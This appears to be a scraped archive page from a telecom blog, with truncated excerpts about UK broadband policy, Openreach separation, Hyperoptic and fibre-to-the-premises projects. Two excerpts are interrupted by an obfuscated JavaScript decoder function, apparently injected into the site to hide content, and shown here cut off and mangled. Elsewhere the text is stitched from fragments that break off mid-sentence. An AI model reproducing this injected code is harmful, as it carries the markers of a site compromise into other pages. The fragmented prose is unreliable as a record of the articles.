Is Structural Separation in the UK really that risky?

I rarely disagree with the excellent Martyn Warwick, but sometimes there are exceptions. In an article in Telecom TV entitled BT Threatens Decades of Litigation Over Forced Sale of Openreach, Martin concludes that:

An ill-considered

Don’t put your trust in on-demand FTTP…

On Tap by Benoît Felten (benfelten)) on

One of the most interesting features of this week’s alternative NBN plan published by the Australian opposition (see my article Australia’s NBN becomes a political football on Telecom TV) is this notion of “on-dem

State aid by any other name…

It would be an understatement from my part to stress that I don’t think the broadband proceedings in the UK are going

Hyperoptic: Hypercool or Hyperbole?

Uk_dpUK company function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-a-Reality/7439/” target=”_self”Hyperoptic announced yesterday that its FTTH first customers were going live in W

UK FTTP scene crowded… with intentions!

Uk_dp Lately the UK broadband scene has seen a number of projects emerge. There's the function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)

Fujitsu, Virgin and Talk Talk rock BT’s boat

Uk_dp (Note: whenever I mention BT in this post, I mean the BT group, including openreach, wholesale and retail)

Incumbents are facing

Friday Fiber New Roudup (Bouygues, Free, NZ and BT)

I haven't been very good at posting these last couples of weeks, for which I apologise. In case you're dying for some fiber news